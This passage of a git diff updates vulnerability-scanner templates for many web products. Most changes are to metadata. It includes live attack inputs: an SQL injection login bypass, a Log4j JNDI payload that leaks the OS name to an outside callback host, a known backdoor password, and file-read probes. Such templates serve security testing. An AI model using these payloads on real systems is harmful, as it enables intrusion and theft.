features that the HEMS is offering remotely. + description: | + KevinLAB HEMS has an undocumented backdoor account and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution through the RMI. An attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the HEMS is offering remotely. reference: - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5654.php tags: kevinlab,default-login,backdoor @@ -25,11 +24,8 @@ requests: matchers-condition: and matchers: - - type: status - status: - - 200 - - type: word + part: body words: - '' @@ -39,6 +35,12 @@ requests: negative: true - type: word + part: header words: - 'PHPSESSID' - part: header + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/05/30 diff --git a/vulnerabilities/other/keycloak-xss.yaml b/vulnerabilities/other/keycloak-xss.yaml index 6f73adfd83..73fbbb2424 100644 --- a/vulnerabilities/other/keycloak-xss.yaml +++ b/vulnerabilities/other/keycloak-xss.yaml @@ -1,7 +1,7 @@ id: keycloak-xss info: - name: Keycloak <= 8.0 - Cross Site Scripting + name: Keycloak <= 8.0 - Cross-Site Scripting author: incogbyte severity: info reference: @@ -25,4 +25,4 @@ requests: - type: word words: - - 'Unrecognized field ""' \ No newline at end of file + - 'Unrecognized field ""' diff --git a/vulnerabilities/other/kingdee-eas-directory-traversal.yaml b/vulnerabilities/other/kingdee-eas-directory-traversal.yaml index b11c6a4bbf..9ccdb3d2ec 100644 --- a/vulnerabilities/other/kingdee-eas-directory-traversal.yaml +++ b/vulnerabilities/other/kingdee-eas-directory-traversal.yaml @@ -1,12 +1,16 @@ id: kingdee-eas-directory-traversal info: - name: Kingdee EAS - Directory Traversal + name: Kingdee EAS - Local File Inclusion author: ritikchaddha - severity: medium - description: Kingdee OA server_file has a directory traversal vulnerability, attackers can obtain sensitive server information through directory traversal. + severity: high + description: Kingdee EAS OA server_file is vulnerable to local file inclusion and can allow attackers to obtain sensitive server information. reference: - https://github.com/nu0l/poc-wiki/blob/main/%E9%87%91%E8%9D%B6OA%20server_file%20%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9E.md + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: kingdee,lfi,traversal requests: @@ -33,3 +37,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/03 diff --git a/vulnerabilities/other/kingsoft-v8-file-read.yaml b/vulnerabilities/other/kingsoft-v8-file-read.yaml index a103be2311..c8727af6f9 100644 --- a/vulnerabilities/other/kingsoft-v8-file-read.yaml +++ b/vulnerabilities/other/kingsoft-v8-file-read.yaml @@ -1,11 +1,16 @@ id: kingsoft-v8-file-read info: - name: Kingsoft V8 File Read + name: Kingsoft 8 - Local File Inclusion author: ritikchaddha severity: high + description: Kingsoft 8 is vulnerable to local file inclusion. reference: - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/b6f8fbfef46ad1c3f8d5715dd19b00ca875341c2/_book/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E9%87%91%E5%B1%B1/%E9%87%91%E5%B1%B1%20V8%20%E7%BB%88%E7%AB%AF%E5%AE%89%E5%85%A8%E7%B3%BB%E7%BB%9F%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: kingsoft,lfi requests: @@ -30,3 +35,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/03 diff --git a/vulnerabilities/other/kyocera-m2035dn-lfi.yaml b/vulnerabilities/other/kyocera-m2035dn-lfi.yaml index 35651ada5b..596f2dc869 100644 --- a/vulnerabilities/other/kyocera-m2035dn-lfi.yaml +++ b/vulnerabilities/other/kyocera-m2035dn-lfi.yaml @@ -1,14 +1,18 @@ id: kyocera-m2035dn-lfi info: - name: Kyocera Command Center RX ECOSYS M2035dn - Arbitrary File Retrieval + name: Kyocera Command Center RX ECOSYS M2035dn - Local File Inclusion author: 0x_Akoko severity: high - description: Kyocera Command Center RX ECOSYS M2035dn - Unauthenticated arbitrary file retrieval. + description: Kyocera Command Center RX ECOSYS M2035dn is vulnerable to unauthenticated local file inclusion. reference: - https://www.exploit-db.com/exploits/50738 - https://www.kyoceradocumentsolutions.com/asia/en/products/business-application/command-center-rx.html - tags: printer,iot,kyocera,lfi + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: edb,printer,iot,kyocera,lfi requests: - method: GET @@ -24,3 +28,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/03 diff --git a/vulnerabilities/other/laravel-filemanager-lfi.yaml b/vulnerabilities/other/laravel-filemanager-lfi.yaml index d9287c7b90..2780e94725 100644 --- a/vulnerabilities/other/laravel-filemanager-lfi.yaml +++ b/vulnerabilities/other/laravel-filemanager-lfi.yaml @@ -4,13 +4,14 @@ info: name: UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read author: hackerarpan severity: high + description: UniSharp Larevel File Manager 2.0.0 is vulnerable to arbitrary file read. reference: - https://www.exploit-db.com/exploits/48166 - https://github.com/UniSharp/laravel-filemanager metadata: - google-dork: inurl:"laravel-filemanager?type=Files" -site:github.com -site:github.io + google-query: inurl:"laravel-filemanager?type=Files" -site:github.com -site:github.io shodan-query: http.html:"Laravel FileManager" - tags: lfi,unisharp,laravel,filemanager,fileupload,lfr + tags: lfr,edb,lfi,unisharp,laravel,filemanager,fileupload requests: - method: GET @@ -27,3 +28,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/27 diff --git a/vulnerabilities/other/loancms-sqli.yaml b/vulnerabilities/other/loancms-sqli.yaml new file mode 100644 index 0000000000..b96bac34ca --- /dev/null +++ b/vulnerabilities/other/loancms-sqli.yaml @@ -0,0 +1,43 @@ +id: loancms-sqli + +info: + name: Loan Management System 1.0 - SQLi Authentication Bypass + author: arafatansari + severity: high + description: | + Loan Management System Login page can be bypassed with a simple SQLi to the username parameter. + reference: + - https://www.exploit-db.com/exploits/50402 + metadata: + verified: true + tags: edb,loancms,sqli,auth-bypass,cms + +requests: + - raw: + - | + POST /ajax.php?action=login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username=admin'+or+'1'%3D'1'%23&password=nuclei + + - | + GET /index.php?page=home HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'window.start_load' + - 'Welcome back Admin' + - 'Loan Management System' + condition: and + + - type: word + part: body + words: + - 'login-form' + negative: true diff --git a/vulnerabilities/other/lotuscms-rce.yaml b/vulnerabilities/other/lotuscms-rce.yaml index 3092588555..93e8d24c1c 100644 --- a/vulnerabilities/other/lotuscms-rce.yaml +++ b/vulnerabilities/other/lotuscms-rce.yaml @@ -1,11 +1,17 @@ id: lotuscms-rce info: - name: LotusCMS 3.0 eval() RCE + name: LotusCMS 3.0 - Remote Code Execution author: pikpikcu severity: critical + description: | + LotusCMS 3.0 is susceptible to remote code execution via the Router () function. This is done by embedding PHP code in the 'page' parameter, which will be passed to a eval call and allow remote code execution. reference: - https://github.com/Hood3dRob1n/LotusCMS-Exploit + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 tags: lotuscms,rce requests: @@ -22,10 +28,12 @@ requests: matchers-condition: and matchers: - type: word + part: body words: - "38ee63071a04dc5e04ed22624c38e648" - part: body - type: status status: - - 200 \ No newline at end of file + - 200 + +# Enhanced by mp on 2022/05/30 diff --git a/vulnerabilities/other/lucee-xss.yaml b/vulnerabilities/other/lucee-xss.yaml index dea08e0297..dfe6e13eca 100644 --- a/vulnerabilities/other/lucee-xss.yaml +++ b/vulnerabilities/other/lucee-xss.yaml @@ -1,11 +1,11 @@ id: lucee-xss info: - name: Lucee Unauthenticated Reflected XSS + name: Lucee Cross-Site Scripting author: incogbyte severity: medium description: A vulnerability in Lucee allows remote attackers to inject arbitrary Javascript into the responses returned by the server. - tags: lucee,xss + tags: lucee,xss,unauth requests: - method: GET diff --git a/vulnerabilities/other/luftguitar-arbitrary-file-upload.yaml b/vulnerabilities/other/luftguitar-arbitrary-file-upload.yaml index 6993c365f5..720ae3f77d 100644 --- a/vulnerabilities/other/luftguitar-arbitrary-file-upload.yaml +++ b/vulnerabilities/other/luftguitar-arbitrary-file-upload.yaml @@ -7,7 +7,7 @@ info: description: A vulnerability in Luftguitar CMS allows remote unauthenticated users to upload files to the remote service via the 'ftb.imagegallery.aspx' endpoint. reference: - https://www.exploit-db.com/exploits/14991 - tags: luftguitar + tags: luftguitar,edb requests: - method: GET diff --git a/vulnerabilities/other/maccmsv10-backdoor.yaml b/vulnerabilities/other/maccmsv10-backdoor.yaml index eaad3100fe..a712f28d33 100644 --- a/vulnerabilities/other/maccmsv10-backdoor.yaml +++ b/vulnerabilities/other/maccmsv10-backdoor.yaml @@ -1,11 +1,17 @@ id: maccmsv10-backdoor info: - name: Maccmsv10 Backdoor + name: Maccmsv10 - Backdoor Remote Code Execution author: princechaddha severity: critical - description: A backdoor has been found in Maccmsv10, the backdoor is accessible via the '/index.php/bbs/index/download' endpoint and the special 'getpwd' parameter value of 'WorldFilledWithLove'. - tags: maccmsv10,rce + description: Maccmsv10 contains a backdoor which can be exploited by remote attackers. The backdoor is accessible via the '/index.php/bbs/index/download' endpoint and the special 'getpwd' parameter value of 'WorldFilledWithLove'. Exploitation of this vulnerability will allow remote attackers to execute code. + reference: + - https://github.com/chaitin/xray/blob/master/pocs/maccmsv10-backdoor.yml + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 + tags: maccmsv10,rce,backdoor requests: - method: POST @@ -18,12 +24,15 @@ requests: matchers-condition: and matchers: - type: word + part: body words: - "ๆ‰ซๆๅŽ้—จ" - "ๅๅผน็ซฏๅฃ" - "ๆ–‡ไปถ็ฎก็†" condition: and - part: body + - type: status status: - 200 + +# Enhanced by mp on 2022/05/30 diff --git a/vulnerabilities/other/magicflow-lfi.yaml b/vulnerabilities/other/magicflow-lfi.yaml index 31412a5435..2c736182ae 100644 --- a/vulnerabilities/other/magicflow-lfi.yaml +++ b/vulnerabilities/other/magicflow-lfi.yaml @@ -3,10 +3,15 @@ id: magicflow-lfi info: name: MagicFlow - Local File Inclusion author: gy741 - severity: critical - description: A vulnerability in MagicFlow allows remote unauthenticated users to access locally stored files on the server and return their content via the '/msa/main.xp' endpoint and the 'Fun' parameter. + severity: high + description: | + MagicFlow is susceptible to local file inclusion vulnerabilities because it allows remote unauthenticated users to access locally stored files on the server and return their content via the '/msa/main.xp' endpoint and the 'Fun' parameter. reference: - https://www.seebug.org/vuldb/ssvid-89258 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 + cwe-id: CWE-22 tags: magicflow,lfi requests: @@ -19,9 +24,12 @@ requests: matchers: - type: regex + part: body regex: - "root:.*:0:0:" - type: status status: - 200 + +# Enhanced by mp on 2022/05/30 diff --git a/vulnerabilities/other/mcafee-epo-rce.yaml b/vulnerabilities/other/mcafee-epo-rce.yaml index 1b441eeeef..34a59fa4c1 100644 --- a/vulnerabilities/other/mcafee-epo-rce.yaml +++ b/vulnerabilities/other/mcafee-epo-rce.yaml @@ -1,19 +1,14 @@ id: mcafee-epo-rce info: - name: McAfee ePolicy Orchestrator RCE + name: McAfee ePolicy Orchestrator - Arbitrary File Upload author: dwisiswant0 severity: high description: | - A ZipSlip vulnerability in McAfee ePolicy Orchestrator (ePO) - is a type of Path Traversal occurring when archives are unpacked - if the names of the packed files are not properly sanitized. - An attacker can create archives with files containing "../" in their names, - making it possible to upload arbitrary files - to arbitrary directories or overwrite existing ones during archive extraction. + McAfee ePolicy Orchestrator (ePO) is vulnerable to a ZipSlip vulnerability which allows arbitrary file upload when archives are unpacked if the names of the packed files are not properly sanitized. An attacker can create archives with files containing "../" in their names, making it possible to upload arbitrary files to arbitrary directories or overwrite existing ones during archive extraction. reference: - https://swarm.ptsecurity.com/vulnerabilities-in-mcafee-epolicy-orchestrator/ - tags: mcafee,rce + tags: mcafee,rce, requests: - method: GET @@ -31,4 +26,6 @@ requests: - type: regex regex: - "Volume (in drive [A-Z]|Serial Number) is" - part: body \ No newline at end of file + part: body + +# Enhanced by mp on 2022/07/27 diff --git a/vulnerabilities/other/metabase-log4j.yaml b/vulnerabilities/other/metabase-log4j.yaml new file mode 100644 index 0000000000..a227455d80 --- /dev/null +++ b/vulnerabilities/other/metabase-log4j.yaml @@ -0,0 +1,43 @@ +id: metabase-log4j + +info: + name: Metabase - Remote Code Execution (Apache Log4j) + author: DhiyaneshDK + severity: critical + description: The vulnerability exists due to incomplete patch in Apache Log4j 2.15.0 for a code injection vulnerability VU58816 (CVE-2021-44228) in certain non-default configurations. A remote attacker with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) can pass malicious data using a JNDI Lookup pattern and perform a denial of service (DoS) attack, exfiltrate data or execute arbitrary code. + reference: + - https://www.cybersecurity-help.cz/vdb/SB2021121706 + - https://logging.apache.org/log4j/2.x/security.html + - https://nvd.nist.gov/vuln/detail/CVE-2021-44228 + metadata: + verified: true + shodan-query: title:"Metabase" + tags: cve,cve2021,rce,jndi,log4j,metabase + +requests: + - method: GET + path: + - "{{BaseURL}}/api/geojson?url=${jndi:ldap://${sys:os.name}.{{interactsh-url}}}" + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol # Confirms the DNS Interaction + words: + - "dns" + + - type: regex + part: interactsh_request + regex: + - '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable + + extractors: + - type: kval + kval: + - interactsh_ip # Print remote interaction IP in output + + - type: regex + part: interactsh_request + group: 1 + regex: + - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output diff --git a/vulnerabilities/other/metinfo-lfi.yaml b/vulnerabilities/other/metinfo-lfi.yaml index 4628dea9d4..e9e4128852 100644 --- a/vulnerabilities/other/metinfo-lfi.yaml +++ b/vulnerabilities/other/metinfo-lfi.yaml @@ -1,12 +1,16 @@ id: metinfo-lfi info: - name: MetInfo 6.0.0/6.1.0 LFI + name: MetInfo <=6.1.0 - Local File Inclusion author: pikpikcu severity: high - description: A vulnerability in MetInfo allows remote unauthenticated attackers access to locally stored files and their content. + description: MetInfo 6.0.0 through 6.1.0 is vulnerable to local file inclusion and allows remote unauthenticated attackers access to locally stored files and their content. reference: - https://paper.seebug.org/676/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: metinfo,lfi requests: @@ -30,3 +34,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/27 diff --git a/vulnerabilities/other/mida-eframework-xss.yaml b/vulnerabilities/other/mida-eframework-xss.yaml index 93bffe41df..bdfb28cfe4 100644 --- a/vulnerabilities/other/mida-eframework-xss.yaml +++ b/vulnerabilities/other/mida-eframework-xss.yaml @@ -1,7 +1,7 @@ id: mida-eframework-xss info: - name: Mida eFramework - Cross Site Scripting + name: Mida eFramework - Cross-Site Scripting author: pikpikcu severity: medium tags: mida,xss @@ -24,4 +24,4 @@ requests: - type: word words: - - '">' \ No newline at end of file + - '">' diff --git a/vulnerabilities/other/minimouse-lfi.yaml b/vulnerabilities/other/minimouse-lfi.yaml index 4164b1a4cf..d87d854641 100644 --- a/vulnerabilities/other/minimouse-lfi.yaml +++ b/vulnerabilities/other/minimouse-lfi.yaml @@ -1,13 +1,17 @@ id: minimouse-lfi info: - name: Mini Mouse 9.2.0 - Path Traversal + name: Mini Mouse 9.2.0 - Local File Inclusion author: 0x_Akoko severity: high - description: A vulnerability in Mini Mouse allows remote unauthenticated attackers to include and disclose the content of locally stored files via the 'file' parameter. + description: Mini Mouse 9.2.0 is vulnerable to local file inclusion because it allows remote unauthenticated attackers to include and disclose the content of locally stored files via the 'file' parameter. reference: - https://www.exploit-db.com/exploits/49744 - tags: minimouse,lfi + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: lfi,edb,minimouse requests: - method: GET @@ -27,3 +31,5 @@ requests: - "extensions" condition: and part: body + +# Enhanced by mp on 2022/07/27 diff --git a/vulnerabilities/other/mirai-unknown-rce.yaml b/vulnerabilities/other/mirai-unknown-rce.yaml index f0aa5c374c..82ddc28935 100644 --- a/vulnerabilities/other/mirai-unknown-rce.yaml +++ b/vulnerabilities/other/mirai-unknown-rce.yaml @@ -1,12 +1,17 @@ id: mirai-unknown-rce info: - name: Mirai Unknown - Remote Code Execution + name: Mirai - Remote Command Injection author: gy741 severity: critical - description: The unknown exploit targets the login CGI script, where a key parameter is not properly sanitized leading to a command injection. + description: | + Mirai is susceptible to an unknown exploit that targets the login CGI script, where a key parameter is not properly sanitized leading to a command injection vulnerability. reference: - https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 tags: mirai,rce,oast requests: @@ -23,3 +28,5 @@ requests: part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" + +# Enhanced by mp on 2022/05/30 diff --git a/vulnerabilities/other/mpsec-lfi.yaml b/vulnerabilities/other/mpsec-lfi.yaml index 1bf2038934..962532b775 100644 --- a/vulnerabilities/other/mpsec-lfi.yaml +++ b/vulnerabilities/other/mpsec-lfi.yaml @@ -1,11 +1,16 @@ id: mpsec-lfi info: - name: MPSec ISG1000 Local File Read + name: MPSec ISG1000 - Local File Inclusion author: pikpikcu severity: high + description: MPSec ISG1000 is vulnerable to local file inclusion. reference: - https://twitter.com/sec715/status/1402884871173795842 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: mpsec,lfi requests: @@ -30,4 +35,6 @@ requests: - type: word words: - "text/plain" - part: header \ No newline at end of file + part: header + +# Enhanced by mp on 2022/07/27 diff --git a/vulnerabilities/other/ms-exchange-server-reflected-xss.yaml b/vulnerabilities/other/ms-exchange-server-reflected-xss.yaml index c4cbfa7b17..f5ab52aee4 100644 --- a/vulnerabilities/other/ms-exchange-server-reflected-xss.yaml +++ b/vulnerabilities/other/ms-exchange-server-reflected-xss.yaml @@ -1,12 +1,13 @@ id: ms-exchange-server-reflected-xss info: - name: MS Exchange Server XSS + name: MS Exchange Server Cross-Site Scripting author: infosecsanyam severity: medium reference: - - https://www.shodan.io/search?query=http.title%3A%22Outlook%22 - https://blog.orange.tw/2021/08/proxyoracle-a-new-attack-surface-on-ms-exchange-part-2.html + metadata: + shodan-query: http.title:"Outlook" tags: microsoft,exchange,owa,xss requests: diff --git a/vulnerabilities/other/myucms-lfr.yaml b/vulnerabilities/other/myucms-lfr.yaml index 327a403ef9..84cfa96cf3 100644 --- a/vulnerabilities/other/myucms-lfr.yaml +++ b/vulnerabilities/other/myucms-lfr.yaml @@ -1,11 +1,16 @@ id: myucms-lfr info: - name: MyuCMS Local File Read + name: MyuCMS - Local File Inclusion author: princechaddha severity: high + description: MyuCMS is vulnerable to local file inclusion. reference: - https://blog.csdn.net/yalecaltech/article/details/104908257 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: myucms,lfi requests: @@ -16,3 +21,5 @@ requests: - type: regex regex: - "root:.*:0:0:" + +# Enhanced by mp on 2022/07/27 diff --git a/vulnerabilities/other/natshell-path-traversal.yaml b/vulnerabilities/other/natshell-path-traversal.yaml index 629dd6eec9..89e7d49d20 100644 --- a/vulnerabilities/other/natshell-path-traversal.yaml +++ b/vulnerabilities/other/natshell-path-traversal.yaml @@ -1,11 +1,16 @@ id: natshell-path-traversal info: - name: NatShell Path Traversal + name: NatShell - Local File Inclusion author: pikpikcu severity: high + description: NatShell is vulnerable to local file inclusion. reference: - https://mp.weixin.qq.com/s/g4YNI6UBqIQcKL0TRkKWlw + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 metadata: fofa-query: title="่“ๆตทๅ“่ถŠ่ฎก่ดน็ฎก็†็ณป็ปŸ" tags: natshell,lfi @@ -25,3 +30,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/27 diff --git a/vulnerabilities/other/natshell-rce.yaml b/vulnerabilities/other/natshell-rce.yaml index 389048e371..cb2c801d39 100644 --- a/vulnerabilities/other/natshell-rce.yaml +++ b/vulnerabilities/other/natshell-rce.yaml @@ -1,11 +1,17 @@ id: natshell-rce info: - name: NatShell Debug File RCE + name: NatShell Debug File - Remote Code Execution author: pikpikcu severity: critical + description: | + The NatShell debug file is susceptible to a remote code execution vulnerability. reference: - https://mp.weixin.qq.com/s/g4YNI6UBqIQcKL0TRkKWlw + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 tags: natshell,rce requests: @@ -19,9 +25,12 @@ requests: matchers: - type: regex + part: body regex: - "toor:[x*]:0:0" - type: status status: - 200 + +# Enhanced by mp on 2022/05/30 diff --git a/vulnerabilities/other/netgear-router-exposure.yaml b/vulnerabilities/other/netgear-router-exposure.yaml index cafcc346b8..4b69bfe16c 100644 --- a/vulnerabilities/other/netgear-router-exposure.yaml +++ b/vulnerabilities/other/netgear-router-exposure.yaml @@ -1,14 +1,18 @@ id: netgear-router-exposure info: - name: NETGEAR Router S/N Disclosure + name: NETGEAR Routers - Serial Number Disclosure author: geeknik - severity: critical - description: Multiple NETGEAR router models disclose their serial number which can be used to obtain the admin password if password recovery is enabled. + severity: medium + description: | + Multiple NETGEAR router models disclose their serial number which can be used to obtain the admin password if password recovery is enabled. reference: - https://www.exploit-db.com/exploits/47117 - - https://www.exploit-db.com/exploits/45741 - tags: netgear,exposure,iot,router + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cwe-id: CWE-200 + tags: edb,netgear,exposure,iot,router requests: - method: GET @@ -40,3 +44,5 @@ requests: group: 1 regex: - "([A-Z0-9]+)<\\/serialNumber>" + +# Enhanced by mp on 2022/05/30 diff --git a/vulnerabilities/other/netis-info-leak.yaml b/vulnerabilities/other/netis-info-leak.yaml index dfe9ded8c3..843fffc6d9 100644 --- a/vulnerabilities/other/netis-info-leak.yaml +++ b/vulnerabilities/other/netis-info-leak.yaml @@ -7,7 +7,7 @@ info: description: A vulnerability in Netis allows remote unauthenticated users to disclose the WiFi password of the remote device. reference: - https://www.exploit-db.com/exploits/48384 - tags: netis,exposure + tags: netis,exposure,edb requests: - raw: diff --git a/vulnerabilities/other/nginx-merge-slashes-path-traversal.yaml b/vulnerabilities/other/nginx-merge-slashes-path-traversal.yaml index efc4f25bce..221fba80c2 100644 --- a/vulnerabilities/other/nginx-merge-slashes-path-traversal.yaml +++ b/vulnerabilities/other/nginx-merge-slashes-path-traversal.yaml @@ -1,13 +1,17 @@ id: nginx-merge-slashes-path-traversal info: - name: Nginx Merge Slashes Path Traversal + name: Nginx Server - Local File Inclusion author: dhiyaneshDk - severity: medium - description: A vulnerability in the remote Nginx server could cause the server to merge slashslash together causing what should have protected the web site from a directory traversal vulnerability into a vulnerable server. + severity: high + description: Nginx server is vulnerable to local file inclusion. reference: - https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/nginx-merge-slashes-path-traversal.json - https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: exposure,config,lfi,nginx requests: @@ -31,3 +35,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/27 diff --git a/vulnerabilities/other/ns-asg-file-read.yaml b/vulnerabilities/other/ns-asg-file-read.yaml index a18b450540..6e08643708 100644 --- a/vulnerabilities/other/ns-asg-file-read.yaml +++ b/vulnerabilities/other/ns-asg-file-read.yaml @@ -1,15 +1,20 @@ id: nsasg-arbitrary-file-read info: - name: NS ASG Arbitrary File Read + name: NS ASG - Local File Inclusion author: pikpikcu,ritikchaddha severity: high + description: NS ASG is vulnerable to local file inclusion. reference: - https://zhuanlan.zhihu.com/p/368054963 - http://wiki.xypbk.com/Webๅฎ‰ๅ…จ/็ฝ‘ๅบท%20NS-ASGๅฎ‰ๅ…จ็ฝ‘ๅ…ณ/็ฝ‘ๅบท%20NS-ASGๅฎ‰ๅ…จ็ฝ‘ๅ…ณ%20ไปปๆ„ๆ–‡ไปถ่ฏปๅ–ๆผๆดž.md metadata: fofa-query: app="็ฝ‘ๅบท็ง‘ๆŠ€-NS-ASGๅฎ‰ๅ…จ็ฝ‘ๅ…ณ" shodan-query: http.title:โ€œNS-ASGโ€ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: nsasg,lfi requests: @@ -31,3 +36,5 @@ requests: - "$certfile" - "application/pdf" condition: and + +# Enhanced by mp on 2022/08/03 diff --git a/vulnerabilities/other/nuuo-file-inclusion.yaml b/vulnerabilities/other/nuuo-file-inclusion.yaml index f577991d4f..6d7ed08d02 100644 --- a/vulnerabilities/other/nuuo-file-inclusion.yaml +++ b/vulnerabilities/other/nuuo-file-inclusion.yaml @@ -1,12 +1,17 @@ id: nuuo-file-inclusion info: - name: NUUO NVRmini 2 v3.0.8 - Atrbitary File Retrieval + name: NUUO NVRmini 2 3.0.8 - Local File Inclusion author: princechaddha severity: high + description: NUUO NVRmini 2 3.0.8 is vulnerable to local file inclusion. reference: - https://www.exploit-db.com/exploits/40211 - tags: nuuo,lfi + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: lfi,edb,nuuo requests: - method: GET @@ -28,3 +33,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/04 diff --git a/vulnerabilities/other/nuuo-nvrmini2-rce.yaml b/vulnerabilities/other/nuuo-nvrmini2-rce.yaml index 8f142eba45..e0f40d5061 100644 --- a/vulnerabilities/other/nuuo-nvrmini2-rce.yaml +++ b/vulnerabilities/other/nuuo-nvrmini2-rce.yaml @@ -4,11 +4,17 @@ info: name: NUUO NVRmini 2 3.0.8 - Remote Code Execution author: berkdusunur severity: critical + description: | + NUUO NVRmini 2 3.0.8 is susceptible to remote code execution. reference: - https://www.exploit-db.com/exploits/45070 - https://github.com/berkdsnr/NUUO-NVRMINI-RCE - https://packetstormsecurity.com/files/151573/NUUO-NVRmini-upgrade_handle.php-Remote-Command-Execution.html - tags: rce,nuuo + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 + tags: rce,nuuo,nvrmini,edb,packetstorm requests: - method: GET @@ -18,10 +24,12 @@ requests: matchers-condition: and matchers: - type: word + part: body words: - "/upload_tmp_dir/" - part: body - type: status status: - 200 + +# Enhanced by mp on 2022/05/30 diff --git a/vulnerabilities/other/odoo-cms-redirect.yaml b/vulnerabilities/other/odoo-cms-redirect.yaml index 3fecc9364a..431683a7c5 100644 --- a/vulnerabilities/other/odoo-cms-redirect.yaml +++ b/vulnerabilities/other/odoo-cms-redirect.yaml @@ -13,10 +13,10 @@ info: requests: - method: GET path: - - "{{BaseURL}}/website/lang/en_US?r=https://example.com/" + - "{{BaseURL}}/website/lang/en_US?r=https://interact.sh/" matchers: - type: regex regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$' part: header diff --git a/vulnerabilities/other/oliver-library-lfi.yaml b/vulnerabilities/other/oliver-library-lfi.yaml index 4d3eaf3db1..84bd572c14 100644 --- a/vulnerabilities/other/oliver-library-lfi.yaml +++ b/vulnerabilities/other/oliver-library-lfi.yaml @@ -1,14 +1,18 @@ id: oliver-library-lfi info: - name: Oliver Library Server v5 <8.00.008.053 - Arbitrary File Retrieval + name: Oliver 5 Library Server <8.00.008.053 - Local File Inclusion author: gy741 severity: high - description: An arbitrary file retrieval vulnerability in Oliver v5 Library Server Versions < 8.00.008.053 via the 